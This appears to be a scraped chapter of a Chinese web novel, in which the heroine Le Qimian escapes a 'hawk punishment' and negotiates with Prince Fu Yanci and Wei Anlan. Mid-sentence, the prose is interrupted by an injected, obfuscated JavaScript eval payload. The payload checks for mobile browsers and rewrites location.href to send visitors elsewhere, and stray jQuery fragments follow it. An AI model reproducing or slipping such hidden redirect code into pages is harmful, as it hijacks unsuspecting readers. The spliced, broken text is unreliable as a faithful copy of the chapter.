默认冷灰
24号文字
方正启体

19. 选择

作者:黑吠本书字数:K更新时间:
    从手指开始,被蛇蚁咬噬般的冷意沿着皮肤,蔓延到五脏六腑,让乐绮眠思绪混沌。


    出发前,乐斯年已经前往宫中,如果补上犒师费,或许能将她赎走。但她担心的是,犒师费只是借口,闻仲达的目的在傅厌辞,甚至道圣。


    监刑官抬来盛有鲜血的水瓮:“殿下您看,是否先弄醒人犯?”


    鹰刑开始前,猎鹰需要饿上一天一夜,受刑者的身体则需要涂抹一种气味刺鼻、混有禽血的染料,以此吸引猎鹰啄食。


    傅厌辞像盛酒那样,舀起一盏血,从乐绮眠的小臂淋到肩颈。


    “哗——”


    他的动作缓慢,但嫣红色还是很快打湿了她的衣裙,像涂抹在皎白山茶上的胭脂,带着一种邪恶的冶艳。


    乐绮眠半途就醒了,循着水流声看去,望见五枚金色纹章。再往上是一截颈项,约束在衣襟下,能看到流畅的下颌。


    “傅......”乐绮眠刚开口,就发现嗓子哑得厉害。


    傅厌辞本来在往手背浇血,护臂微沉,被一只手扣住。


    乐绮眠也不是向他求助,而是焦渴时下意识的反应。想用染料解渴,却因为手腕被捆,无法做到。


    傅厌辞说:“渴?”


    乐绮眠没吭声,手也没有松开。


    傅厌辞往掌中倒酒,送到她的跟前。乐绮眠润湿了唇,又慢慢咽下去,带动颈部起伏,染料也流到了锁骨。


    等傅厌辞退开,手套已经湿了大半。


    酒能麻痹人的痛觉,再完成染料的涂抹,就来到最后一步。乐绮眠没反抗,仿佛已经接受即将降临的命运,面对傅厌辞也安然若素。


    “匣子在你手中,”傅厌辞放慢了浇注的动作,意有所指,“你还有叫停的机会。”


    乐绮眠没有看他,似乎笑了一声。可这笑里没有快意,只有懒倦:“我身无长物,实在没什么能交换。这场交易,算了吧。”


    傅厌辞看似给了她选择的机会,但出卖自己换取安稳,那有什么意思。


    “你知道兀鹫会怎么吃人?”隔着手套,傅厌辞点过她的眼睛,声调有一点喑哑,仿佛从黑暗中苏醒的困兽,还有择人而噬的欲望,“它会啄下你的眼珠,从腰腹开膛破肚,然后撕碎你的脏腑......这个时候,你也许还活着,可动不了,开不了口。你看着它吃了你,这就是你的结局。”


    他用这条无形的绳索套住乐绮眠,逼她给出想要的答案。可乐绮眠既不反驳,也没有回答。


    “你越是想去攥紧什么,就越会失去什么,三年前我能从你手中脱身,三年后,”乐绮眠的声音很轻,像低柔的耳语,“也不例外。”


    傅厌辞目光幽暗,抬起那张脸,看到她胜券在握的眼神。


    “铜钱告诉我,我的运气不错,不会倒在这里。”


    乐绮眠的身体到了强弩之末,但眼中光采掩去这种疲惫,把它变成看不透的沉着。


    傅厌辞这才注意到,她捏着一枚铜钱。现在,抛出了正面。


    “殿下,”监刑官大步走来,“国相说鹰刑暂停,梁臣找到了缺失的金银。”


    傅厌辞扭头,看到乐绮眠眼中带出一点笑,很顽劣般,仿佛在昭告她的胜出。


    恰在此时,闻仲达的人到了。


    “殿下,出了点意外。不是梁臣有意藏匿金银,是押解的货船翻倒,金银被水流带走。底下人为了完成任务,滥竽充数,”萧蟠笑面相迎,让人给乐绮眠松绑,“此女与事无涉,属下便带走了。”


    监刑官阻拦:“萧将军,没有国相之令,不能带走此人。”


    萧蟠反问:“你是殿下的兵,还是国相的兵?”


    监刑官不敢答,这时有士兵说:“国相到了。”


    闻仲达身后跟着魏安澜,还有几名眼熟的使臣。一行人很快到了近前。


    萧蟠解开捆缚乐绮眠的绳索,但碰到她身上染料时,动作停顿片刻。乐绮眠以为出了问题,正要抬头,萧蟠道:“无妨,只是染料的气味有些奇怪,想来是萧某闻错了,姑娘先下地吧。”


    乐绮眠刚落地,两腿还有些刺痛,旁边就伸来一双手,隔着衣袖扶住了她。


    乐绮眠道:“多谢。”


    看清来人,她有些意外,魏安澜却自然地解下披风,罩住乐绮眠两肩,说:“澜来迟,小姐可安好?”


    乐绮眠知道自己形容狼狈,披风几乎刚落下,就被血渍污染。但她摇头:“是家兄找到了二公子?”


    魏安澜道:“他在营外等乐小姐,金银是他与皇城司寻回。小姐很聪明,金银的确在玉河河底。”


    金银纲走水陆两路,抵达城门就交由征南军押解。数量庞大,押送不易,郊外又是一片旷野,无处可藏。


    但走水运的部分,却可以快速抛入玉河,事后打捞。乐绮眠也是在赌,短短两日,闻仲达没有时间捞走全部金银。


    谈到一半,乐绮眠察觉前方有些异样。


    当她抬头,发现不知从何时起,傅厌辞的目光就落在两人之间。但与往常不同,他一点不加收敛,反而在她看过来时,径直迎上她的视线。


    闻仲达说:“底下人已经被惩办,劳雪奴跑这一趟,我遣人送你回营。”


    他轻描淡写带过鱼目混珠之事,显然也知理由牵强,站不住脚。但昨夜对她大发雷霆,现在却让傅厌辞放人,态度变化之快,让人始料不及。


    傅厌辞提步走向乐绮眠,但魏安澜站在两人之间,挡住他的去路。


    “国相在此,”魏安澜敛袖行礼,温言说,“殿下还是谨遵军令为好。”


    他身上浸染着浅淡的沉香,和他待久了,乐绮眠也染上那种香气。傅厌辞似乎才注意到他,将人打量一遍,一语未发。但这一眼漫不经心,和看待脚下的沙砾、石子,也没有不同。


    乐绮眠说:“殿下还有要事?”


    傅厌辞道:“匣子。”


    乐绮眠笑了:“给出去的东西,还有要回来的道理?”


    傅厌辞说:“它不属于你。”


    他眼皮薄而锋利,看人时显得冷峻、不可亲近,但这一刻,他眼中不是毫无情绪。


    乐绮眠鬼使神差,让匣子滑往衣袖深处,说:“来得匆忙,东西还在府中。”


    傅厌辞尚未开口,魏安澜忽然打断:“乐小姐,你在校场受了风,不宜久留。”


    乐绮眠听出催促之意,侧首回应他:“二公子说的是,”又看向傅厌辞,“殿下若需要,匣子我下回带到营中。”


    傅厌辞声音冷淡:“随你。”


    乐绮眠说:“刚才说‘不属于我’,现在又说随我,殿下给个准话?”


    魏安澜站在乐绮眠身后,那是追随者的位置,他也的确为她不顾风险,不计代价。如果他知道乐绮眠需要明月珠,只怕第一时间就会奉上。


    傅厌辞说:“早就知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294383|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道的答案,何必再问。”


    乐绮眠一怔,但傅厌辞没给她答话的机会,举臂接走了烛,转身离去。


    太师府的仆从驾车来到身后,魏安澜说:“我送乐小姐回城。”


    乐绮眠收回思绪,道:“二公子先行,我随家兄一道。”


    这是为了避嫌,魏安澜却说:“是骑马,还是乘肃王的车?”


    他语调平静无波,问的话也寻常,可乐绮眠何其敏锐,抬头看去,魏安澜果然直勾勾看着她。


    “乐小姐过去也与肃王这样说话?”魏安澜的瞳仁极黑,像口深不见底的古井,“还是只有方才?”


    乐绮眠道:“与肃王如何是小事,闻仲达口蜜腹剑,二公子与他往来,才当小心谨慎。”


    闻仲达不是良善之辈,能放她一马,魏安澜不可能只许诺金银这样简单的东西。


    魏安澜忽道:“乐小姐箭术过人,应当常常打猎。”


    乐绮眠沉默:这人在说什么?


    “常打猎的人,应该知道,如果猎人看准一只猎物,不论虎豹抑或豺狼,只要带上足够的弓箭,耗尽猎物的体力,就一定能得手。但若猎人心志不坚,分心追赶其他猎物......”


    他勾住车帘,一点点用手指绞缠,直到勒出印痕,也没有停。


    “那最后往往一无所获,甚至为猎物反噬。乐小姐,要做这种猎人吗?”


    乐绮眠听出他意有所指,但不想接话,将披风拢到颊边,装聋作哑。


    魏安澜笑了,但细看,就能发现他唇边弧度冷如薄刃:“仪式当天,会有府兵助乐小姐脱身,那块象牙令牌,乐小姐务必收好,到了交给对方,他会带小姐到应州寻澜。”


    乐绮眠顿一下,眼也不眨:“自然。”


    魏安澜离去不久,乐斯年策马而来。


    “怎么就你一人?”乐斯年才上岸,换过衣衫就赶到北营,黑发还潮湿。


    她将魏安澜的事说一遍,乐斯年道:“这人倒与我从前认识的有些不同,不过既然承了他的情,后日无论如何,也得把这父子二人送出奉京了。”


    乐绮眠听他语气不对,仿佛才知道魏安澜相助一事:“不是你找他出手?”


    乐斯年道:“我面圣时都已入夜,又和城防司在河里捞银子,哪来的时间去太师府?”


    乐绮眠有些意外。她问过魏安澜,他答得模棱两可,她便以为乐斯年去过太师府。但若如此,事情说不通,因为萧蟠带走她时,并未告知任何人。


    魏安澜一早赶到北营,甚至知道金银在河中,是城外有眼线,还是她一直在太师府监视下?


    “有一件事,我不说你应当也记得,”乐斯年忽然正色,“你在屋外冻了一夜,望舒可能提前发作,后日就要对上肃王,可想好如何应对?”


    如果没有练武的底子,乐绮眠恐怕已经出事。


    乐绮眠说:“平日用的药我都带着,那串药珠也在身上。”


    乐斯年望向乐绮眠,良久,轻弹她的额心,叮嘱道:“镜鸾,你要活下去,懂吗?”


    乐绮眠知道,无数人都想用她的死换取青云梯,可天命反侧,生死无常,海琅王没能杀死她,薛贤也没能除掉她,只有她一人活到如今。


    初升的朝霞罩顶而下,给两人镀上一层淡芒。乐绮眠看向他,笑着答:“自然。”


    既然从地狱回到人间,不搅弄起风雨,怎么算活过一回?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)